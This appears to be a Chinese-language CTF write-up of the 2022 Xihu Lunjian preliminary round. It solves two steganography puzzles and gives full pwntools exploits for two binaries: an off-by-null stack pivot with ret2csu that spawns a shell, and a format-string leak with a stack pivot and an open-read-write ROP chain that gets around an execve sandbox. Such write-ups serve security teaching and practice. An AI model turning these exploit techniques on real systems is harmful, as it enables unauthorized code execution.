2022年 西湖论剑初赛 部分题解

2023-02-18
  1. MISC – 签到题喵:
  2. MISC – mp3:
  3. PWN – babycalc :
  4. PWN – Message Board
  5. 相关资料:

MISC – 签到题喵:

图片末尾有些奇怪数据:

E7BB99E8BF99E4B8AAE585ACE4BC97E58FB7E58F91E98081EFBC9AE2809CE8A5BFE6B996E8AEBAE5899132303233E68891E69DA5E4BA86EFBC81E2809DE88EB7E5BE9720666C6167E38082

16进制UTF-8解码得:给这个公众号发送:“西湖论剑2023我来了!”获得 flag。


MISC – mp3:

用16进制编辑器打开,发现结尾的标识符为Png的,手动CV提出数据保存为png图片(binwalk -Me提不出来,疑惑)

图片为黑白块,用脚本转黑为0,白为1:(使用zsteg也可以)

from PIL import Image
import struct

pic = Image.open('cipher.png')
a, b = pic.size

fp = open('flag.zip', 'wb')
flag = ""
for y in range(b):
    for x in range(a):
        #flag += str(pic.getpixel((x, y))//255)
        if pic.getpixel((x, y)) == 0:
        	flag += "0"
        if pic.getpixel((x, y)) == 255:
        	flag += "1"

for i in range(0, len(flag), 8):
    fp.write(struct.pack('B', int(flag[i:i+8], 2)))
fp.close()

得到一个加密的zip文件。

对cipher.mp3文件使用MP3stego解密,密码为空:

.\Decode.exe -X .\cipher.mp3

得到zip的密码:8750d5109208213f

zip里面有个47.txt,使用Rot47进行解密。

然后再使用jjencode进行解密,得到flag。


PWN – babycalc :

// 关键代码
for ( i = 0; i <= 15; ++i )
  {
    printf("number-%d:", (unsigned int)(i + 1));
    buf[(int)read(0, buf, 0x100uLL)] = 0;       // off by null
    v0 = strtol(buf, 0LL, 10);                  // strtol: string -> number
    *(&v3 + i) = v0;
  }

利用思路:栈迁移 + 爆栈

使用栈的负方向写数据,将返回地址指向nop改为指向leave; ret,使之栈迁移。但rbp只能修改末字节为\x00,不能完全控制到rop链的起始,所以多次执行(爆栈,概率为5/32)。

rop链:leak libc + ret2csu写入system_addr + get shell

当然,首先需要对if的条件求解方程。可以手算,也可以使用z3。

z3求解脚本(现学的,写得很赘余):

from z3 import *

v3 = Real('v3')
v4 = Real('v4')
v5 = Real('v5')
v6 = Real('v6')
v7 = Real('v7')
v8 = Real('v8')
v9 = Real('v9')
v10 = Real('v10')
v11 = Real('v11')
v12 = Real('v12')
v13 = Real('v13')
v14 = Real('v14')
v15 = Real('v15')
v16 = Real('v16')
v17 = Real('v17')
v18 = Real('v18')

s = Solver()
s.add(v5*v4*v3 - v6 == 36182)
s.add(v3 == 19)
s.add(v5*19*v4 + v6 == 36322)
s.add((v13+v3-v8)*v16 == 32835)
s.add((v4 * v3 - v5) * v6 == 44170)
s.add((v5 + v4 * v3) * v6 == 51590)
s.add(v9 * v8 * v7 - v10 == 61549)
s.add(v10 * v15 + v4 + v18 == 19037)
s.add(v9 * v8 * v7 + v10 == 61871)
s.add((v8 * v7 - v9) * v10 == 581693)
s.add(v11 == 50)
s.add((v9 + v8 * v7) * v10 == 587167)
s.add(v13 * v12 * v11 - v14 == 1388499)
s.add(v13 * v12 * v11 + v14 == 1388701)
s.add((v12 * v11 - v13) * v14 == 640138)
s.add((v11 * v5 - v16) * v12 == 321081)
s.add((v13 + v12 * v11) * v14 == 682962)
s.add(v17 * v16 * v15 - v18 == 563565)
s.add(v17 * v16 * v15 + v18 == 563571)
s.add(v14 == 101)
s.add((v16 * v15 - v17) * v18 == 70374)
s.add((v17 + v16 * v15) * v18 == 70518)

print(s.check())
print(s.model())

EXP:(基于Loτυs师傅的进行修改)

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

# io = process("./babycalc")
elf = ELF("./babycalc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pop6_ret = 0x400c9a
pop_rdi_ret = 0x400ca3
ret = 0x400ca4

num = [19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3]

def csu(rdi, rsi, rdx, call_addr):
	payload = p64(pop6_ret) + p64(0) + p64(1) + p64(call_addr) + p64(rdx) + p64(rsi) + p64(rdi) + p64(0x400c80) + p64(0)*7
	return payload

def pwn():
	payload = str(0x18).encode().ljust(0x8, b'\x00')
	payload += p64(ret)*4  # ret chain
	payload += p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])  # leak libc
	payload += csu(0, elf.got['puts'], 0x30, elf.got['read'])   # system.plt -> system.got
	payload += p64(pop_rdi_ret) + p64(elf.got['puts']+8) + p64(elf.plt['puts']) # get shell

	for i in range(0x10):
		payload += p8(num[i])

	payload = payload.ljust(0xfc, b'\x00') + p32(0x38) # point to ret_addr

	io.recvuntil("number-")
	io.send(payload)
	puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))
	print(hex(puts_addr))
	pause()

	libc_base = puts_addr - libc.sym['puts']
	system_addr = libc_base + libc.sym['system']
	io.send(p64(system_addr) + b"/bin/sh\x00")
	sleep(1)
	io.interactive()

while True:
	io = process("./babycalc")
	try:
		pwn()
	except EOFError:
		io.close()
		continue

发现爆栈有时候出现些问题:1)执行流卡住; 2)libc地址泄露不对;😬


PWN – Message Board

开了沙箱,execve调用被禁用。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  char buf[8]; // [rsp+0h] [rbp-C0h] BYREF
  char dest[8]; // [rsp+8h] [rbp-B8h] BYREF
  char v7[176]; // [rsp+10h] [rbp-B0h] BYREF

  Init();                                       // sandbox
  if ( !one )
  {
    strcpy(dest, "Hello, ");
    puts("Welcome to DASCTF message board, please leave your name:");
    read(0, buf, 8uLL);
    one = 1;
  }
  v3 = strcat(dest, buf);
  printf(v3);                                   // 格式化字符串漏洞
  puts("Now, please say something to DASCTF:");
  read(0, v7, 0xC0uLL);                         // 可覆盖rbp、ret_addr
  puts("Posted Successfully~");
  return 0LL;
}

存在格式化字符串漏洞和栈溢出。格式化字符串漏洞可以直接泄露出libc基址,由于禁用了execve,所以需要用orw得到flag。但栈溢出仅可溢出0x10字节,所以需要栈迁移。

EXP:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./pwn")
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
leave_ret = 0x4013a2
bss = 0x404080
pop_rdi = 0x401413
main = 0x401378

def debug():
    gdb.attach(io)
    pause()

io.recvuntil("please leave your name:")
io.sendline("%31$p")
io.recvuntil("Hello, ")
addr = int(io.recvuntil(b'\n')[:-1], 16) - 243
print(hex(addr))
# debug()

libc_base = addr - libc.sym["__libc_start_main"]
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92

io.recvuntil("please say something to DASCTF:")
payload = b'A'*0xb0 + p64(bss+0x200) + p64(main)
io.send(payload)

payload = b"./flag\x00\x00" # 0x4041d0
payload += p64(pop_rdi)
payload += p64(0x4041d0)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(0x404700)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(read_addr)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(0x404700)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(write_addr)
payload = payload.ljust(0xb0, b"a")
payload += p64(0x4041d0)
payload += p64(leave_ret)
io.send(payload)
io.interactive()

相关资料:

1、题目信息:https://github.com/Randark-JMT/CTF_Archive/tree/main/2022%20xhlj

2、官方Pwn题解:https://mp.weixin.qq.com/s/1dBr_4y2RVf_hZyXIpcqyw

3、官方Misc题解:https://mp.weixin.qq.com/s/GDn1Af-6toDCMEcxWf9j8g

4、官方Reverse题解:https://mp.weixin.qq.com/s/cuBCzVechH6R3WpEWv80Kg

5、官方Crypto题解:https://mp.weixin.qq.com/s/-TvP1PIUcQfoWKzmA_kBbQ

6、官方Web题解:https://mp.weixin.qq.com/s/BJ3_xmR0lDmGkaA9OBhGyg

返回首页